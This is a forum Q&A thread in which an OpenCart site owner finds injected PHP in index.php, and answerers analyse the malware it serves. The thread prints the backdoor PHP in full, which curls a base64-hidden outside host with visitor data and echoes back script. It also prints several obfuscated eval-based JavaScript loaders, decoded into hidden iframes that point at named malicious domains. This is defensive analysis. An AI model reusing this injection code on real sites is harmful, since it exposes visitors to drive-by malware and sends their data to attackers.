Opencart: Ajax json response unknown characters

2019-01-24 23:28发布

问题:

I am working on e-commerce website. It was working fine but suddenly all ajax functions didn't work. When I checked the ajax code in firebug I can see some js strings are attached with that response:

  {"success":"Success: You have added <a href=\"http:\/\/www.test.com\/exmple\">sample<\/a> to your <a href=\"http:\/\/www.test.com
   \/index.php?route=checkout\/cart\">shopping cart<\/a>!","total":"2070
   items","amount":"$2,028.60"} <script>e=eval;v="0"+"x";a=0;try{a&=2}catch(q){a=1}if(!a)
   {try{document["\x62ody"]^=~1;}catch(q) {a2="_"}z="10_10_70_6d_27_2f_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_7a_49_80_5b_68_6e_55_68_74_6c_2f_2e_69_76_6b_80_2e_30_62_37_64_30_82_14_10_10

I am getting this error in firefox only....

This is what they added into the index.php file.

            <?php
    if (!isset($sRetry))
    {
    global $sRetry;
    $sRetry = 1;
        // This code use for global bot statistic
        $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
        $stCurlHandle = NULL;
        $stCurlLink = "";
        if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
        {
            if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
            $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
                @$stCurlHandle = curl_init( $stCurlLink ); 
        }
        } 
    if ( $stCurlHandle !== NULL )
    {
        curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
        $sResult = @curl_exec($stCurlHandle); 
        if ($sResult[0]=="O") 
         {$sResult[0]=" ";
          echo $sResult; // Statistic code end
          }
        curl_close($stCurlHandle); 
    }
    }
    ?>

I just removed the code now its working fine...

回答1:

To bad you didn't give us the full javascript that php injected (please add it to your question if you still have it, so we can decode it). But thank you so much for sharing the php behind it!!!

Removing the php script is indeed the solution, but you should find out how you got 'hacked'/'infected' in the first place!!

  • Maybe a weak password or rather new vulnerability?
  • Also, all the computers of developers/maintainers/contributers that have (had) (ftp/admin/cms) access to your website, must be checked for password-stealing/sniffing malware (as a result of visiting your/another infected website).
  • Installed a rouge plugin/module on your website/server?
  • It is also possible that the whole server (and all websites on it) is comprimized. It might be wise to contact your hoster to.

Note that such malware is often picked up by google: they'll add a warning to such a hacked website's index: 'This site may harm your computer.'
Getting this notion removed requires a 'Request a malware-review' with google webmaster-tools (I don't know if google will automatically rescan your page in x amount of time if you don't report your page as fixed, neither do I know if you can report your page as fixed without google-webmaster tools, so be warned if you don't want to give your cellphone-number to google!!!).

If one base64 decodes the string aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw from your php-code, one gets the url: http://mbrowserstats.com/statE/stat.php

Your infected php-website used the above url with the GET-string
?ip=YOUR_IP&useragent=YOUR_BROWSER&domainname=INFECTED_WEBSITE_DOMAIN&fullpath=INFECTED_WEBSITE_PAGE&check='.isset($_GET['look'])
to fetch a custom unique on-demand javascript to insert in the markup served to the (targeted!!) visitor.

To decode the payload of that inserted visitor-unique javascript, I quickly whipped up a decoder (that also works for your partial payload, using the character _ as separator and an offset of -7 on those base 16 numbers).
The (partial) string: 10_10_70_6d_27_2f_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_7a_49_80_5b_68_6e_55_68_74_6c_2f_2e_69_76_6b_80_2e_30_62_37_64_30_82_14_10_10
decodes to:

        if (document.getElementsByTagName('body')[0]){

I want to share my analysis of the variant I got, to explain how it works (hoping it will help others):
The website I visited (in palemoon=firefox) suddenly started java and a cmd-box popped up.
Cr@p.
'View source' of the document, revealed an obfuscated script that was 'served' (inserted) before the html tag (with a leading space):

 <script>w=window;aq="0"+"x";ff=String;ff=ff.fromCharCode;try{document["\x62ody"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="0,0,60,5d,17,1f,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,20,72,4,0,0,0,60,5d,69,58,64,5c,69,1f,20,32,4,0,0,74,17,5c,63,6a,5c,17,72,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,19,33,60,5d,69,58,64,5c,17,6a,69,5a,34,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,17,6e,60,5b,6b,5f,34,1e,28,27,27,1e,17,5f,5c,60,5e,5f,6b,34,1e,28,27,27,1e,17,6a,6b,70,63,5c,34,1e,6e,60,5b,6b,5f,31,28,27,27,67,6f,32,5f,5c,60,5e,5f,6b,31,28,27,27,67,6f,32,67,66,6a,60,6b,60,66,65,31,58,59,6a,66,63,6c,6b,5c,32,63,5c,5d,6b,31,24,28,27,27,27,27,67,6f,32,6b,66,67,31,27,32,1e,35,33,26,60,5d,69,58,64,5c,35,19,20,32,4,0,0,74,4,0,0,5d,6c,65,5a,6b,60,66,65,17,60,5d,69,58,64,5c,69,1f,20,72,4,0,0,0,6d,58,69,17,5d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6a,69,5a,1e,23,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,20,32,5d,25,6a,6b,70,63,5c,25,63,5c,5d,6b,34,1e,24,28,27,27,27,27,67,6f,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,34,1e,58,59,6a,66,63,6c,6b,5c,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6e,60,5b,6b,5f,1e,23,1e,28,27,27,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,5f,5c,60,5e,5f,6b,1e,23,1e,28,27,27,1e,20,32,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,5d,20,32,4,0,0,74"["split"](",");}w=f;s=[];for(i=2-2;-i+640!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}</script>
<html>
<head>
<title> etcetera...

Running it through jsbeautifier.org cleaned that up (before I added my human parsing comments) to:

w = window;                          //hmmkay, note:reused lateron
aq = "0" + "x";                      //so.. '0x', smells like hex
ff = String;                         //haha, neat, ff is String
ff = ff.fromCharCode;                //and ff is now String's fromCharCode method
try {
    document["\x62ody"] ^= ~1;       //I'm guessing this should fail
} catch (d21vd12v) {                 //so all the rest gets executed:
    v = 123;                         //bliep? 42? Here be dragons.. aka useless
    vzs = false;                     //ahh, can you guess where this leads?
    try {                            //no idea why this test is here
        document;
    } catch (q) {                    //but for an infection this should NOT run
        vzs = 1;
    }
    if (!vzs) e = w["eval"];         //false will become true so e = EVIL
    if (1) {                         //lol, if true, ok...
                                     //ahh, f the payload, an array (by split) of
                                     //640 hex-numbers
        f = "0,0,60,5d,17,1f,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,20,72,4,0,0,0,60,5d,69,58,64,5c,69,1f,20,32,4,0,0,74,17,5c,63,6a,5c,17,72,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,19,33,60,5d,69,58,64,5c,17,6a,69,5a,34,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,17,6e,60,5b,6b,5f,34,1e,28,27,27,1e,17,5f,5c,60,5e,5f,6b,34,1e,28,27,27,1e,17,6a,6b,70,63,5c,34,1e,6e,60,5b,6b,5f,31,28,27,27,67,6f,32,5f,5c,60,5e,5f,6b,31,28,27,27,67,6f,32,67,66,6a,60,6b,60,66,65,31,58,59,6a,66,63,6c,6b,5c,32,63,5c,5d,6b,31,24,28,27,27,27,27,67,6f,32,6b,66,67,31,27,32,1e,35,33,26,60,5d,69,58,64,5c,35,19,20,32,4,0,0,74,4,0,0,5d,6c,65,5a,6b,60,66,65,17,60,5d,69,58,64,5c,69,1f,20,72,4,0,0,0,6d,58,69,17,5d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6a,69,5a,1e,23,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,20,32,5d,25,6a,6b,70,63,5c,25,63,5c,5d,6b,34,1e,24,28,27,27,27,27,67,6f,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,34,1e,58,59,6a,66,63,6c,6b,5c,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6e,60,5b,6b,5f,1e,23,1e,28,27,27,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,5f,5c,60,5e,5f,6b,1e,23,1e,28,27,27,1e,20,32,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,5d,20,32,4,0,0,74" ["split"](",");
    }
    w = f;                           //ahh juggling w to f
    s = [];                          //preparing s to receive the decoded string
    for (i = 2 - 2; - i + 640 != 0; i += 1) {  //haha, ok: ( 2-2=0; lol; i++ )
        j = i;                       //juggle artist at it again
        if ((031 == 0x19)) if (e) s = s + ff(e(aq + (w[j])) + 9);  //9 offset
    }  // 31oct = 19hex = 25 = true, if eval, LOOK MA, WITHOUT parseInt being EVIL
    fafa = e;                        //ok stop juggling. fafa = EVIL
    fafa(s)                          //there we go: EVIL(decoded string)
}

As one can now read, they jump through a lot of hoops to fool virus-scanners.

I re-factored this (for my understanding) to:

w = "/*PAYLOAD: comma separated uni-code characters in hex*/" ["split"](",");
s = '';
for (i = 0; i < 640; i++) {
    s += String.fromCharCode(  parseInt(w[i],16) + 9  );  //decode
}
eval(s)                                                   //execute

Using my decoder (set to base 16, separation character , and offset 9) the payload decoded to:

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='http://rotatethespin.com:8000/lhhqnccqs?ftbhkpmcort=5186751' width='100' height='100' style='width:100px;height:100px;position:absolute;left:-10000px;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');f.setAttribute('src','http://rotatethespin.com:8000/lhhqnccqs?ftbhkpmcort=5186751');f.style.left='-10000px';f.style.top='0';f.style.position='absolute';f.style.top='0';f.setAttribute('width','100');f.setAttribute('height','100');
    document.getElementsByTagName('body')[0].appendChild(f);
}

Note that this resulting code is indented with 2 and 3 tabs (amateur or fooling virusscan?) that I removed for readability. Also the line-endings are CR (13dec) (is the author/script-kiddie using an older MAC?).

So, now we have all the code we can (finally) simply explain what is happening:

  • the PHP script curl's a visitor/website unique javascript to inject in served markup
  • this (by PHP) injected javascript will inject an iframe in the document's body (gallantly aided by the browser since body doesn't exist yet), positioned -10000px from the left (out of sight) in the visited page (on the visitors browser) and
  • the injected iframe loads a specifically targeted (at user and website the user is visiting) external page (containing god knows what kind of mess/malware/virus/rootkit, in my case from rotatethespin.com:8000, muruno-vaser.info:8000, epomota.com etc.).

I also verified this by getting the document's live html with this bookmarklet:

javascript:(function(){ alert(document.documentElement.innerHTML); })()

This also showed the injected iframe code in the source.

I used the next bookmarklet to move the iframe into view (assuming there is just 1 iframe):

javascript:(function(){ document.getElementsByTagName('iframe')[0].style.left='0px'; })()

Naturally one could also use firebug and similar tools (depending on browser).

I also noticed that when using most webbased tools (or even w3c validator) to fetch the source of the infected website, php did not insert the javascript, making the website look not infected!
I also had this 'problem' when trying a simple telnet-command to (safely) get the infected code. However after seeing the php code behind it, I realized I used to few HTTP commands (specifically the referrer).
Doing: telnet infected-site.com 80 and then pasting the following finally gave the infected markup source:

GET /path.php?page=something HTTP/1.1
Host: infected-site.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-us;q=0.7,en;q=0.3
Referer: http://infected-site.com/index.php
Connection: Close

Note that this way one can also safely explore (and reverse-engineer) the source of the iframe etc!!

I also noticed that the website-owner's computer also did not get the infected code! This is either because his machine is infected or because the the server that distributes the javascripts did not provide a script because it knew that client-machine was already infected.

Update: having a working set of tools in this answer, I re-checked the comprised website today (after a good night rest) and got totally different script injected (but still based on the same techniques I explained in this answer).

<script>ss=eval("Str"+"ing");d=document;a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,151,164,163,161,163,170,145,62,147,163,161,63,160,154,170,173,175,175,164,154,154,103,152,151,146,165,175,147,160,147,101,71,65,74,72,73,71,65,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,151,164,163,161,163,170,145,62,147,163,161,63,160,154,170,173,175,175,164,154,154,103,152,151,146,165,175,147,160,147,101,71,65,74,72,73,71,65,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"["split"](","));for(i=0;i<a.length;i+=1){a[i]=parseInt(a[i],8)-(7-3);}try{d.body--}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss["fromCharCode"].apply(ss,a));</script>

Note that this time the numbers are in octal (base 8) (separated by , with an offset of -4).
So I updated my decoder to include a base/radix setting (and all the depending links in this answer) and as one can see the payload is still the same (apart from the domain it points to).


I found this question by googling document\["\x62ody"\] ^= ~1 which gave (mostly useless/infected) 834 results.

The malware I stumbled upon today had the above string and the pretty unique string 'd21vd12v' inside it, which gives 8300 (also mostly useless/infected) results.

However googling '// This code use for global bot statistic' (found in the php you supplied in your question) rendered over 4.1 million results (dating back to at least 2010), indicating that also wordpress, joomla, etc are victim of this 'technique'.

Reading some of those links (like this, this or this) I get the impression this started out as a way to fool search-engines (like google) in order to increase page-ranking. This at the price of creating a self-inflicted malware-hole.
Naturally the variants that specialize in distributing malware now try to hide themselves from the search-engines.



回答2:

This looks like "injected" code, leading to another URL serving the blackhole exploit kit.